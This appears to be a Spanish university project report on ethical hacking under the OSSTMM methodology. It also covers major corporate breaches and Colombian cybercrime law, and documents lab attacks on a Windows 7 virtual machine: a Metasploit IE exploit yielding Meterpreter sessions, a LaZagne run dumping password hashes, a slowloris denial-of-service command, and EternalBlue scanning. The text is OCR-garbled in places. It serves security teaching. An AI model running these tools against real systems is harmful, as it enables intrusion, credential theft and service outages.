La seguridad en los activos de una organizacion es fundamental para todo tipo de entidad,
sin embargo, no es una tarea facil de ejecutarse ya que son muchos los factores que
deben tenerse en cuenta para cumplir a cabalidad y mitigar la mayor cantidad de riesgos
posibles que afecten de manera significativa la confidencialidad, integridad vy
disponibilidad,

A continuacion, se evidencian las brechas de seguridad que fueron explotadas por los

ciberdelincuentes en grandes organizaciones

4.2.1 Brechade Datos en eBay

Figura 1. Los diez mayores ataques informaticos
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Problema: eBay Inc. Es una corporacion multinacional americana y empresa de
comercio electrénico que proporciona al consumidor servicios de venta a través de
internet. eBay inc. Reveldé que un incidente de seguridad recientemente tuvo lugar,
hackers comprometieron 145 millones de usuarios con contrasefas, direcciones de
correos electronicos, fechas de cumpleanos, direcciones de envid, y otra informacion
personal contenidos en archivos, que resultdé en una de las mayores violaciones de datos

en la historia.

Causa: Los hackers entraron al sistema después de obtener las credenciales de inicio
de sesién de un pequefo numero de empleados, permitiéndoles el acceso a la red
corporativa de eBay, luego llevaron a cabo un ataque de scripting entre sitios y con codigo
malicioso que se utilizé para desviar los clientes a un falso sitio web que preguntaba
usuario y contrasefa. De este modo, los hackers registraron las credenciales de todos

estos usuarios.

Solucién: eBay aconsejo a sus clientes el cambio inmediato de contrasefas, indicando

que el suyo estaba entre los datos robados por los Ciber criminales Google Play 43

4.2.2 Brechade Datos en Google play.

Problema: EI hacker turco Ibrahim Balic derrib6 todo el sistema de Google Play’s dos
veces, previniendo a desarrolladores de subir nuevas aplicaciones y actualizando las

aplicaciones existentes, y previniendo que usuarios descargan contenido.

Causa: Balic, quien previamente habia hackeado la pagina Apple Developer, escribié un

APK mal formada para probar la vulnerabilidad de la base de datos de aplicaciones de

4 WELIVESECURITY [En linea]. Mayo 2014 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.welivesecurity.com/la-es/2014/05/21/ebay-confirma-brecha-seguridad-recomienda-cambiar-
contrasenas/
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Android, el cual, al subirlo a Google Play, afecto el todo el sistema, causando un ataque
de DoS.

Balic no detuvo ese primer intento. El subié de nuevo para confirmar que era su trabajo
que habia derribado el sistema. Este resulté en un segundo ataque de DoS, una vez que
causo el choque de la base de datos. Como resultado, desarrolladores y los usuarios

fueron incapaces de subir o descargar alguna aplicacion.

4.2.3 Brecha de Datos en The Home Depot.

Problema: The Home Depot es un minorista americano de remodelacion de casas y
productos y servicios de construccion. Recientemente en los ultimos meses fue revelado

un incidente de seguridad, afectando a 56 millones de cuentas de tarjetas débito y crédito.

Causa: De acuerdo con el reporte de investigacion, el hacker instald un software
malicioso llamado “BlackPOS” en el sistema de auto pago en las tiendas, con este
capturaban datos de las tarjetas de los clientes cuando usaban las terminales, y al

hacerlo, comprometian la informacion confidencial.

Solucién: The Home Depot advirtio a los clientes de protegerse de fraudes de phishing
el cual te pide que proporciones informacion personal via email y telefonico. En particular,

esto causo que los clientes no hicieran clic en links de correos de origen no confiable.

4.2.4 Brechade Seguridad en JPMorgan Chase & Co.

Problema: JPMorgan Chase & Co. es una firma lider global de servicios financieros, y el
instituto bancario mas grande de estados unidos. Hackers llevaron a cabo un ciberataque
en la compafia comprometiendo las cuentas de 76 millones de hogares y 7 millones de

pequefias empresas.
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Causa: De acuerdo con el reporte forense, hackers obtuvieron informacion de programas
y aplicaciones que se ejecuta en computadoras de JPMorgan's, y encontraron
vulnerabilidades en cada programa y aplicacion web que les proporciond un punto negro
de entrada en el sistema del banco. Eventualmente, los hackers ganaron acceso a los

nombres, direcciones, numeros telefénicos, y mails de cuentas bloqueadas de JPMorgan.

Solucién: Uno debe regularmente monitorear todas las cuentas y debe leer cada
transaccion en la declaracion de crédito todos los meses para mantenerse libre de robos

en linea al poder identificar informacion errénea.

4.3 MARCO LEGAL

Legislaciones vigentes en Ciberseguridad

Se selecciona como legislacion la ley 599 de 2000 articulo 195 del codigo penal en la que
se manifiesta que es considerado un delito el acceder a sistema informatico que en este
caso estaba protegido por ser el sistema del banco, por lo tanto, el trabajador sera
sancionado con una multa. Segun el Articulo 25. De la Ley 1288 de 2009 se modifican
las penas delitos de acceso a un sistema informatico con el articulo con el articulo 420
en la que indica que haber utilizado indebidamente la informacién privilegiada de la
entidad administrativa o entidad publica y si lo hizo con conocimiento en sus funciones,
en los que claramente su fin fue el de obtener beneficios para si mismo o para personas
terceras tiene como consecuencia de la pérdida de su empleo una y la multa por el valor

que aplique segun el delito 44

El articulo 269A encontramos también la multa que incurre al tener acceso sistema

informatico que en este caso de se debe cumplir una pena de prision que varia desde

44 COLOMBIA CODIGO PENAL. Ley 599 DE 2000 art 195 afio 2019
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los 48 a 96 meses y debera pagar una multa de 100 a 1000 salarios minimos legales
vigentes, como consecuencia de sus actos criminales al haber implementado un malware
para vulnerar los sistemas de los cajeros electronicos este empleado del banco debera
cumplir la pena mencionar anteriormente, adicionalmente la ley también indica que

cometer este delito se pierde el empleo inmediatamente. 4°

Esta es una ley basicamente se regula el sector de tecnologia de la informacion y
comunicaciones en proteccion al usuario, calidad de servicio, version en el sector
administracidén de recursos control y vigilancia por lo tanto vamos a tomar el articulo 63
que trata sobre las infracciones y sanciones de las normas de esta ley mandé como
primera instancia el numero uno de no respetar la confidencialidad observar las
comunicaciones, este empleado de la compania viol6 la confidencialidad en los cajeros
automaticos ya que accedio y permitié el acceso a personas o por medio de programas
externos para poder vulnerar y asi modificar la informacion en el caso de que al momento
de ingresar la transaccion el cajero arrojar todo el dinero que tenia almacenado, segun el
articulo 65 de las acciones a las que incurrié este esta persona en cuanto al articulo 64
es una multa equivalente a 2000 salarios minimos mensuales legales vigentes
igualmente se le suspende la operacion de su trabajo y la cancelacion o licencia de
ingeniero teniendo en cuenta segun el articulo 66 que esto es una falta de gravedad

alta.46

En estan ley hace referencia sobre el convenio de Budapest o también conocido como el
convenio de la ciber delincuencia este es un tratado internacional elaborado en Europa
en el que se estipulan las infracciones de seguridad fraudes informaticos, pornografia,

violaciones de seguridad y cuyo objetivo es aplicar medidas penales para proteger a la

45 COLOMBIA MINISTERIO DE LAS TECNOLOGIAS Ley 1273 de 2009 mintic, afio 2019. Por medio se
crea un nuevo bien juridico tutelado “De la proteccién de la informacién y de los datos”

46 COLOMBIA MINISTERIO DE LAS TECNOLOGIAS. Ley 1341 de 2009, por la cual se establecen los
conceptos y principios de Seguridad de la informacién.

33



sociedad en caso de crimen crimenes. En el afno 2018 acogi6é este convenio para asi

adoptar las medidas a las leyes del pais. 4’

En el articulo 6 que habla sobre el uso de los dispositivos es considerado cualquier delito
el uso de algun dispositivo o programa informatico que esté disefiado atado o que tenga
acceso ilicito, interceptacion de datos, yo terceras personas hacer de forma ilegal a la

informacion y configuracion de los cajeros electronicos a nivel nacional.

En el articulo 8 se considera un delito todo tipo de alteracion borrado supresiéon de datos
o interferencia en el funcionamiento del sistema informatico con el fin de obtener algun

beneficio econémico para el delincuente terceras personas.

4.4 MARCO ESPACIAL

Zero Day Ltda. Es una empresa que tiene como objeto la consultoria de seguridad
informatica en Colombia. Uno de sus clientes; NOSTRADAMUS S.A.S, es una empresa
del sector tecnologico que brinda servicios a los sectores: educativo, corporativo y
gubernamental en temas relacionados con proyectos de educacidén y capacitacion a
través del uso de TIC desde la implementacion y configuracion de plataformas de
aprendizaje brindando capacitacion y soporte 24/7En la semana anterior
NOSTRADAMUSS.A.S, sufrio un ataque informatico que afecto la imagen corporativa de
la organizacion presentandose robo de informacion a partir de ataques remotos. Qué
tiene como objeto la consultoria de seguridad informatica en Colombia. Uno de sus
clientes; NOSTRADAMUS S.A.S, es una empresa del sector tecnolégico que brinda
servicios a los sectores: educativo, corporativo y gubernamental en temas relacionados
con proyectos de educacién y capacitacion a través del uso de TIC desde la
implementacion y configuracion de plataformas de aprendizaje brindando
capacitacion y soporte 24/7.

47 COLOMBIA MINISTERIO DE LAS TECNOLOGIAS. Ley 1928 24 julio 2018 Por la cual se aprueba el
convenio sobre la Ciberdelincuencia
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5 MARCO TECNOLOGICO

5.1 Canales de la metodologia osstmm

Para el inicio de la metodologia de OSSTMM es necesario conocer los canales y las
respectivas divisiones las cuales estan representadas en grafico, siguiente lo cual permite

reconocer y facilitar los procesos de prueba. 42

Figura 2 Canales de la metodologia OSSTMM

e Humano: Comprende el elemento
humano de la comunicacién donde la
interaccion es fisica o psicoldgica

Seguridad fisica e fisico: Comprende los elementos

tangibles de seguridad donde se

requiere un esfuerzo fisico o energia
para manipular.

e Wireless: Comprende todas las
espectro comunicaciones electronicas, senales

® Telecomunicaciones: Comprende las redes
Seguridad en las de comunicaciones digitales o anélogo

oo] a1l al[e=1ol[e]a I3 ¢ Redes: Comprende los sistemas
electrénicos y redes de datos

Fuente 2 El autor

5.2 Tipos comunes de test

OSSTMM cuenta con diferentes tipos de test que permiten al evaluador conocer los

objetivos esperados en el test y su legitimidad.

48 OSSTMM [En linea]. Marzo 2010 [Fecha de Consulta: octubre 2020] Disponible en
https://www.isecom.org/OSSTMM.3.pdf
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Figura3 OSSTMM Tipos de test

Double Gray Box

Target's
Knowledge
of Attack
Double Blind
Attacker's Knowledge
of Target

Fuente 3 OSSTMM

« Blind: También conocida como ethical hacking y se realiza cuando el analista de
seguridad no posee ningun conocimiento de los objetivos a auditar, lo cual es
considerado como “una auditoria ciega”.

« Doble Blind: También conocida como prueba de caja negra, al igual que el tipo
blind el analista no tiene conocimiento alguno de los objetivos lo cual permite que
el analista realice las evaluaciones al equipo de seguridad forma de respuesta.

o Gray Box: En este tipo el analista tiene algun conocimiento de los canales a
evaluar ya que en muchas ocasiones inicia como una autoevaluacién y el equipo
esta preparado para la auditoria

o Double Gray Box: también es conocida como White box, donde se tiene pleno
conocimiento de los activos y conocimiento de los canales, se notifican los
objetivos, pero no los detalles de la auditoria.

« Tandem: También es conocido como auditoria interna donde el analista como el
objetivo estan preparados para la realizacion de la auditoria conociendo todos los

detalles
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o Reversal: Conocido como los ejercicios de Red Team donde se tiene pleno
conocimiento de procesos y operaciones de seguridad donde se pretende evaluar

a los equipos de defensa. 4°

5.1.1 Modulos de prueba

Con el fin de realizar el Test apropiado es necesario comprender como opera cada uno
de ellos, lo cual varia dependiendo de cada linea de negocio y los tiempos destinados

para cada auditoria, en la metodologia se encuentran las siguientes fases:

A. Fase de induccién
B. Fase de interaccion
C. Fase de investigacion

D. Fase de intervencion

5.1.2 Fase de induccion

En la fase de induccidn los analistas inician con identificacion de los requerimientos de la

auditoria, tales como el alcance y limitaciones. %

A.1 Posture review: (Revision previa): Es la revisidon de reglas, normas,
culturas, legislaciones, politicas que son aplicables a los objetivos, es
conocer que se puede y debe hacer

A.2 Logistic (Logistica): Es la medicion de las interacciones tales como
distancia, velocidad, precision en los resultados, lo cual permite conocer las
limitaciones en la auditoria lo cual permite minimizar errores y ser mas

eficientes.

49 OSSTMM [En linea]l. Marzo 2010 [Fecha de Consulta: octubre 2020] Disponible en
https://www.isecom.org/OSSTMM.3.pdf pag. 37
5 OSSTMM [En linea]. Marzo 2010 [Fecha de Consulta: octubre 2020] Disponible en
https://www.isecom.org/OSSTMM.3.pdf pag 99
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A.3 Active Detection verification (Deteccion Activa): Conoce cuales son los
controles activos y pasivos, es posible que estén alerta de los tipos de

pruebas a realizar.

5.1.3 Fase de interaccién

En esta fase de seguridad se requiere conocer el alcance con relacion a las interacciones

con los objetivos, basicamente se define el alcance.

B.4 Visibility Audit (Visibilidad): Se determinan los objetivos dentro del alcance.
B.5 Access verification (verificacién de acceso): Es la medicion de los puntos
de acceso, se verifica todo lo relacionado con un punto de acceso.

B.6 Trust verification: (verificacion de confianza): Es la medicion Conocer
cuales son las relaciones de confianza entre los objetivos, existe una relacion
de confianza cuando se acepta la interaccion entre objetivos del alcance.

B.7 Control Verification (verificacion de control): es la medicion para determinar
la efectividad de controles de no repudio, confidencialidad, privacidad e

integridad

6 DISENO METODOLOGICO

6.1 TIPO DE INVESTIGACION

Proyecto aplicado

6.2 TECNICAS DE RECOLECCION Y ANALISIS DE LA INFORMACION

las técnicas de recoleccidn de la informacion son las siguientes:

La primera de ellas la observacion que de forma sistematica se capta por medio de la

vista de los fendmenos que se estan presentando.
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En la observacion se encuentran los siguientes items qué son basicamente los que se
tienen en cuenta al momento de realizar este tipo de técnica

- Lugares

- Personas
La entrevista que permite realizar un dialogo entre el entrevistador y el entrevistado sobre

un tema relacionado con él tipo de las entrevistas que se clasifican en los siguientes tipos:

e Entrevistas no estructuradas qué es aquella en la que la persona que realiza la
entrevista no contiene un listado de preguntas seleccionadas, sino que la
entrevista se desarrolla de una forma informal.

e Las entrevistas semi estructuradas que son aquellas que se realizan utilizando un
guion con preguntas abiertas las cuales son realizadas al entrevistado no tienen
un orden determinado y dejan que la entrevista fluya libremente

e Las entrevistas estructuradas son aquellas en las que el entrevistador se esta
realizando preguntas aleatorias al entrevistado en base a un cuestionario que ya
se tiene previamente preparadas este guion de preguntas suelen ser cerradas
elaboradas y de formas de secuencia las respuestas deben ser bien concretas

sobre el tema que se esta interrogando.

6.3 POBLACION ESTUDIADA

La poblacion estudiada en este trabajo basicamente se encuentra en la empresa
Nostradamus como se va a realizar un escaneo de vulnerabilidades es necesario
identificar que las personas estan bien concientizadas de los riesgos que pueden existir
al abrir correos electrénicos de fuentes desconocidas por tal motivo esta poblacion son
todas las personas que elaboran en la compainiia.
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6.4 PROPUESTA METODOLOGICA PARA EL DESARROLLO DEL TESTEO

METODOLOGIA ABIERTA DE PRUEBA DE SEGURIDAD A PARTIR DE LA
METODOLOGIA OSSTMM

Esta metodologia se encarga de realizar seguimientos a los objetivos de prueba
utilizando herramientas con esta metodologia es posible realizar una recopilacion de

datos de forma activa y pasiva

OSSTMM (Open Source Security Testing Methodology Manual) es una metodologia para
realizar pruebas de seguridad de forma exhaustiva ya que realiza de forma precisa en un
nivel operativo, esta es una metodologia fue creado como un proyecto de fuente abierta
facilita que cualquier profesional en temas de seguridad pueda realizar y contribuir al

desarrollo de pruebas mucho mas eficientes.5’

Esta metodologia esta basada en detalles técnicos los cuales deben ser evaluados, Y
permite resolver interrogantes como que se debe hacer antes durante y después de
realizar una prueba de seguridad igualmente permite medir de forma eficaz los
resultados, OSSTMM estd dividida en seis grupos los cuales se mencionan a

continuacion:>®2

1. seguridad de la informacién

2. seguridad de los procesos

51 INTRODUCCION A OSSTMM (Open-Source Security Testing Methodology Manual) [En linea].
Noviembre 2015 [Fecha de Consulta: septiembre 2020] Disponible en
http://www.reydes.com/d/?g=Introduccion_a_OSSTMM_Open_Source_Security_Testing_Methodology M
anual#:™:text=OSSTMM%20(Open%20Source%20Security%20Testing%20Methodology%20Manual) %20
proporciona%20una%20metodolog%C3%ADa,evita%20suposiciones%20y%20evidencia%20anecd%C3
%B3tica.

52 TEST DE INTRUSION: METODOLOGIAS OSSTMM E ISSAF [En linea]. Marzo 2011 [Fecha de
Consulta: octubre 2020] Disponible en
https://www.isacavalencia.org/docs/Eventos/2011/201103_25_Carlos.pdf
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seguridad en las tecnologias de internet
seguridad en las comunicaciones

seguridad inalambrica

o g & W

seguridad fisica

7 DESARROLLO DE LOS OBJETIVOS

7.1 DESARROLLO OBJETIVO ESPECIFICO 1
Ejecutar el plan de actividades usando técnicas de hacking ético, para el hallazgo
de vulnerabilidades. METODOLOGIA OSSTMM se determinan las siguientes

fases:

e Planeacion y especificacion: Corresponde a la reunion inicial de apertura donde
se socializan las actividades a realizar, se determina el alcance del proyecto y lo
mas relevantes, para este caso de estudio aplica para la ejecucion de los escenarios

correspondientes a los ataques que fue victima la empresa NOSTRADAMUS SAS

- Elevacion de privilegios con Lazagne.
- Denegacion de servicios.

- Ransomware.

- Ingenieria social con metasploit.

- Inyeccion de cédigo SQL

e Alcance y riesgos: Se realizara la evaluacion junto con la empresa
NOSTRADAMUS SAS los riesgos a los que se expone si se materializan estos
ataques. En caso de materializarse estos ataques la empresa NOSTRADAMUS SAS
puede perder informacion.,

e Levantamiento de informacion: Se realizara la recoleccion de la informacion de la
empresa NOSTRADAMUS ya sea publica o privada y se identificaran los vectores

de ataque.
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Para el desarrollo de los diferentes escenarios se cuenta con un equipo con las
siguientes caracteristicas:

- Sistema operativo MacOS High Sierra

- version 10.13.6 2.5 GHZ Intel core i5

- 6 GBde RAM

Figura 4 Caracteristicas equipo anfitrion

® EEEEN rovoios  Amscenamiento Memoria  Soporte | Servicio I

macOS High Sierra

Versién 10.13.6

MacBook Pro (13-inch, Mid 2012) a
Procesador 2,5 GHz Intel Core i5
Memoria 6 GB 1600 MHz DDR3

Disco de arranque Macintosh HD
Gréficos Intel HD Graphics 4000 1536 MB
Nimero de serie CPWKL4XHDTY3

Reporte del sistema.. Actualizacién de Software

Fuente 4 El autor

Las maquinas se crean sobre ambiente virtualizado en el software libre virtual box

como se evidencia en las figuras 5 y 6 con las siguientes caracteristicas:

Maquina atacante
- Sistema operativo Debian Linux de 64 bytes
- 2GBde RAM
- Disco duro tipo SATA de 80 Gigabytes
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Figura 5 Maquina atacante — Kali Linux

File System

RS0 08USE L%

Fuente 5 el autor
Maquina victima

Windows 7 de 64 bytes
o 2 GB de RAM
o Disco duro tipo SATA de 32 Gigabytes

Figura 6 Maquina Victima — Windows 7

= g2
ES s 5
% ®50 ) 25/08/2021

BRSO BRUGH %

Fuente 6 EL autor
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o Escaneos: En esta fase se realizaran las respectivas revisiones de los equipos
comprometidos, para identificar las vulnerabilidades presentes, posibles causas que

permitieron la materializacion del ataque.

Para esta actividad de escaneo se va a realizar una evaluacion de la maquina
victima, con el fin de identificar los puertos que tenga abiertos y otra informacion
relevante que pueda ser de utilidad, para ello se realizara con la ayuda de la
herramienta NMAP y por medio del comando nmap -sV que nos indica los puertos y

la versidn del sistema operativo, tal como lo que se evidencia en la figura 7

Figura 7 Escaneo con Nmap

|V vmP D [:] "o~ 0307AM O A G66%| @ G

root@kali: /home/kali

File Actions Edit View Help

192.168.1.112
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-31 03:05 EDT
Nmap scan report for 192.168.1.112
Host is up (0.00072s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup
: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
t 49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:EF:E0:D2 (Oracle VirtualBox virtual NIC)
Service Info: Host: YENNI-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://n

Nmap done: 1 IP address (1 host up) scanned in 73.52 seconds

BoEp@o BRUG ® Leftx

Fuente 7 El autor
) Revision de vectores de ataque: Se realiza el trabajo de campo con la

colaboracion de los especialistas y de entornos controlados basandose en la
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informacion recolectada, cuyo objetivo es establecer el vector de ataque del

ciberdelincuente e identificar posibles complices internos dentro de la empresa.

e Explotacidn: Se realiza la explotacion de las vulnerabilidades presentes y se deja
evidencia de como el atacante logro vulnerar los sistemas de la empresa
NOSTRADAMUS S.A.S.

- Ingenieria social con metasploit.

Este ataque estda compuesto por dos partes, la primera de ellas corresponde a la
ingenieria social y la segunda al exploit por el navegador, para la realizacion de la
campana de ingenieria social solo es suficiente que el ciberdelincuente disefie un
mensaje atractivo para la victima en donde le manifiesta que debe ingresar a una

URL sospechosa o confirmar los datos tal como se evidencia en la imagen.

Figura 8. Email suplantando a la OMS con un enlace malicioso.

Verify Your E-malil

Fuente 8 Agencia espafiola proteccion de datos
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La siguiente parte corresponde al uso de la herramienta metasploit que ejecuta el exploit
msl1l 003 ie css_imports3

Es posible ejecutar este exploit gracias a la vulnerabilidad de corrupcion de memoria
dentro del motor HTML. Ya que cuando se analiza la pagina HTML con importacion
recursivas de CSS, es decir, un objeto C ++ se elimina y luego se reutiliza, lo que permite
la ejecucion de codigos de forma arbitraria y es posible ejecutarlo cuando las maquinas

Windows tienen instalado la version. NET 2.0.50727.%4

Al realizar este ataque de forma exitosa es posible tener realizar una exploracién
completa del equipo, con la herramienta armitage se evidencia que se puede realizar la

ejecucion del exploit en la maquina victima tal como se evidencia en la figura 9.

Figura 9 Configuracion del exploit

B roapPd- KaliL.“gqter.. 04:07AM O A L40%| @& G

-
( Armitage View Hosts Attacks Workspaces Help le

¥ (@ auxiliary
¥ (& dos
¥ (& windows
¥ & limnr
msll_030_dnsapi
¥ (& smb

R
msll_019_electbowser -

¥ (& exploit 192.168.0.1 192.168.1.112

v (& windows yenni-PC\yenni @ yenni-PC
¥ (@ browser
R ms11 003 ie css_import
msll_050_mshtml_cobjectelement 4

me11 081 _antion

msll

Console X [ nmap X l nmap X |
windows/browser/ms11_003_ie_css_import X windows/browser/msll_003_ie_css_import X ]

™) Sending stage (1/51/4 bytes) To 1YZ.168.1.112
[+] Successfully migrated to explorer,exe (1680) as: yenni-PC\yenni

[*] Meterpreter session 3 opened (192,168.1,113:6723 -> 192,168,1,112:49423) at 2021-08-31
04:06:49 -0400
[*] Session ID 4 (192.168.1.113:6723 -> 192,168.1.112:49425) processing InitialAutoRunScript
'post/windows/manage/priv_migrate'
[*] Current session process is iexplore.exe (1236) as: yenni-PC\yenni
B [*] Session has User level rights.
[*] Will attempt to migrate to a User level process.
[*] Trying explorer.exe (1680)
[+] Successfully migrated to explorer.exe (1680) as: yenni-PC\yenni

[*] Meterpreter session 4 opened (192,168.1.113:6723 -> 192,168.1.112:49425) at 2021-08-31
i 04:07:28 -0400
msf6 exploit(windows/browser/msll 003 ie css import) >

Buop@p BHUGE Leftn

Fuente 9 El autor

53 Cyber Shield, Exploit Internet Explorer 8 on win 7, [en linea] [Fecha de consulta] agosto de 2021,
disponible en https://www.youtube.com/watch?v=h8xOnfQIXDE.

54 Exploiting MS11_003 Internet Explorer Vulnerability Using Metasploit Framework [En linea]. Noviembre
2011 [Fecha de Consulta: agosto 2021] Disponible en https://www.hacking-tutorial.com/hacking-
tutorial/exploiting-ms11_003-internet-explorer-vulnerability-using-metasploit-
framework/#sthash.3XBwvXTW.dpbs
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De la misma forma es posible acceder a las carpetas y demas archivos que se tengan en
la maquina victima tal como se evidencia en la figura 10.

Figura 10 Acceso alos archivos de la victima

B rompP D~ KaliL..Eg qter.. 04:22AM O A L% & G

Armitage View Hosts Attacks Workspaces Help
Abrit v Compartir con v Imprimir Nueva ¢t

¥ (@ auxiliary -
P&l v (@ dos
prueba.doc 25 ¥ (@ windows
¥ (& limnr ‘ ‘ v
| Sitios recientes . ms11_030_dnsapi "’
(@ smb o ““v
msll_019_electbowser _
J Bibliotecas v (& exploit 192.168.0.1 192,168.1.112
< Documentos v (@ windows yenni-PC\yenni @ yenni-P(
&= Imagenes ¥ (& browser |
@' Masica . msll 003 ie css_import
B videos I ms1l1_050_mshtml_cobjectelement -
mell _NR1_antion. X
1™ Equipo msll
€ Red ( Console X I nmap X | nmap X
windows/browser/ms11_003_ie_css_import X ] windows/browser/ms11l_003_ie_css_import X Files1 X

(8§ | C:\Users\yenni\Desktop\kali

D 4| Name Size Modified Mode
prueba.doc.txt 0b 2021-08-25 05:50:24 -0400  100666/rw-rw-rw-

prueba.doc

Ble| . [cmfa] 1

Fuente 10 el autor

- Elevacién de privilegios con Lazagne.
La herramienta LaZagne permite recuperar contrasenas en los sistemas operativos de
linux y Windows este proyecto de cédigo abierto revela las contrasefnas almacenadas en

los equipos locales, navegadores, correos electronicos entre otros®®,

55 Backtrackacademy [En linea]. Marzo 2016 [Fecha de Consulta: agosto 2021] Disponible en
https://backtrackacademy.com/articulo/lazagne-la-herramienta-para-obtener-credenciales-almacenadas-

en-el-sistema
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Una vez se tiene instalado el ejecutable lazagne.exe desde la ruta donde se descargoé se
evidencia la maquina victima tiene configurado un usuario llamado prueba y se visualiza

la contrasefia tal como se evidencia en la figura 11.

Figura 11 Ejecuci6n de laZagne

Administrador: C:\Windows\System32\cmd.exe (o] @ |3

C:\Users\yenni\Desktop>laZagne.exe all

The LaZagne Project
* BANG BANG *

——————————————————— Windows Secrets passwords
[%*] Local SAM hashes
Category: System account

password: prueba
user: prueba

hashes:
Administrador:500:aad3h435h51404eeaad3bh435h51404ee:31d6cfeBd16ae?31b?3c59d7eBcB8
9cBh:::
Invitado:501:aad3bh435h51404eeaad3h435h514084ee:31d6cfeBd16ae?31h?3c59d7eBcBB89ch: :

;enni:1@88:aad3b435b51434eeaad3b435h51484ee:31d6cFeBdi6ae931b73c59d7e8c889c8
prueba:1001:aad3bh435h514084eeaad3h435h514084ee :B6e?cd2?e%e3ecf4426211d37ca2h236:::

[*] LSA Secrets

Category: DPAPI_SYSTEM
password in hex: 01000000cA?267h527860%94achalBa?85df4aB387h212f9899%cdeS5eaBdhal2?6
684f384cha5d4861dB5a?7a?h

[+]1 3 passwords have bheen found.
more information launch it again with the -v option

sed time = 6.29960000248 N

Fuente 11 El autor

- Denegacion de servicios.

Para realizar el ataque de denegacion de servicios es necesario tener instalado en
nuestra maquina victima el servidor de servicios Xampp el cual sera configurado como el

localhost como se evidencia en la figura 12.
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Figura 12 Panel de control XAMPP

I XAMPP Control Panel v3.3.0 [ Compiled: Apr 6th 2021 ] = m} X
XAMPP Control Panel v3.3.0 o contg_| Vis
Modules
Netstat
Service Module  PID(s) Port(s) Actions el
18344 o
Apache 2436 80, 443 Admin Config Logs B shel sfau
MysaL 14440 3306 Stop Admin Config Logs __| Explorer
3
FileZilla Start Admiin Config Logs B Services | .12.
Mercury Start Admin Config Logs & Help
Tomcat Start Admin Config Logs u Quit
m. [Tomcat] Tomcat Started/Stopped with errors, return code: 1 Al e
n [Tomcat] Make sure you have Java JODK or JRE installed and the required ports are free =
n [Tomcat] Check the "/xampp/tomcat/logs" folder for more information .

n [Apache] Attempting to stop Apache (PID: 17456)
n [Apache] Attempting to stop Apache (PID: 3172)
n [Apache] Status change detected: stopped

n [Apache] Attempting to start Apache app..

n [Apache] Status change detected: running

Fuente 12 El autor

Para la ejecucidon de este ataque se usara el programa de slowloris el cual permite a los
atacantes establecer comunicacion con el servidor objetivo y realizar muchas conexiones
HTTP de forma simultanea por el mayor tiempo posible, cuando se supera el numero de

conexiones permitidas en el servidor colapsa y ocurre la denegacion de servicios

Figura 13 Localhost maquina victima

CmPBC

Welcome to XAMPP - Mozilla Firefox
B Welcome to XAMPP x +
S cC ® © /4 192.168.1.105 - @ m m @

o« Kali Linux X Kali Training X Kali Tools X Kali Forums ¢ KaliDocs X NetHunter Offensive Security

Apache Friends Applications ~ FAQs ~ HOW-TO Guides  PHPInfo  phpMyAdmin

XAMPP Apache + MariaDB + |f
PHP + Perl :

Welcome to XAMPP for Windows 7.3.29 ;

v
You have successfully installed XAMPP on this system! Now you can start using Apache, MariaDB, PHP and E
other components. You can find more info in the FAQs section or check the HOW-TO Guides for getting

started with PHP applications.

' Bou@o BRIG® L.t g

Fuente 13 El autor
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Una vez realizada la instalacion y se valide la conexion con la maquina de Windows como
se evidencia en la figura 13 y se inicia el ataque de denegacion de servicios desde la
maquina virtual de Kali Linux con los siguientes comandos.

Figura 14 ejecucion del comando slowloris

® /home/kali/slowloris
t slowloris.py http://192.168.1.105/dashboard/ 300
[ [01-09-2021 04:26:30] Attacking http://192.168.1.105/dashboard/ with 300 sockets.
[01-09-2021 04:26:30] Creating sockets ...

[01-09-2021 04:26:30] Sending keep-alive headers ... Socket count: 0
[01-09-2021 04:26:45] Sending keep-alive headers ... Socket count: @

Fuente 14 El autor

Finalmente se evidencia que la conexion con la pagina esta caida por causa de las

multiples peticiones realizadas a la misma como se aprecia en la figura 15.
Figura 15 Falla en la conexidn de la pagina

'§ - = 'r @f‘—\" E ® Problem lo.. 'eqtermmal 0431AM O

R Problem loading page - Mozilla Firefox

& Problem loading page i+
S c @ D 192.168.1.105 - O % n O ®

& Kali Linux ¥ Kali Training N Kali Tools N Kali Forums @ KaliDocs « NetHunter Offensive Security

Firefox can't establish a connection to the server at
192.168.1.105.

e The site could be temporarily unavailable or too busy. Try
again in a few moments.

e If you are unable to load any pages, check your
computer's network connection.

e If your computer or network is protected by a firewall or

proxy, make sure that Firefox is permitted to access the
Web.

Try Again

PO DBUG S et 5

Fuente 15 El autor
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- Ransomware.

Con la actualizacion de Windows MS17-010 se puede eliminar la vulnerabilidad que se
identifico en marzo del ano 2017 el cual permite la ejecucidn forma remota de cddigos a
los servidores de Microsoft, gracias a esta vulnerabilidad es como se difundio el llamado

ransomware con WannaCry .56

Al realizar la explotacion de MS17010, que también es conocido como eternalblue
permite el acceso al sistema por medio de la ejecucion de cdédigo (RCE), esta
vulnerabilidad permite al atacante explotar la vulnerabilidad mediante el modulo

Windows/smb/ms17_010_eternablue de Metasploit77.

Para la realizacion de este escenario se hara uso de la herramienta te meterpreter con
los siguientes comandos, donde se evidencia que la maquina presenta la vulnerabilidad

mencionada anteriormente

56 Microsoft [En linea] [Fecha de Consulta: agosto 2021] Disponible en https://support.microsoft.com/es-
es/topic/ms17-010-actualizaci%C3%B3n-de-seguridad-para-windows-server-de-smb-14-de-marzo-de-
2017-435¢22fb-5f9b-f0b3-3c4b-b605f4€6a655
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Figura 16 Identificacion de vulnerabilidad maquina victima

‘ rmPB El ®» Welcomet.. Fg gterminal

File Actions Edit View Help

Interact with a module by name or inde xample

xploit( ) > Interrupt: use the 'exit' command to quit

xploit( ) > Interrupt: use the 'exit' c and to quit
loit( ) > use auxiliary nner/smb/smb_ms17_010
iliary( > optio

le options (auxilia /sm 17_010):

Name Current Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts

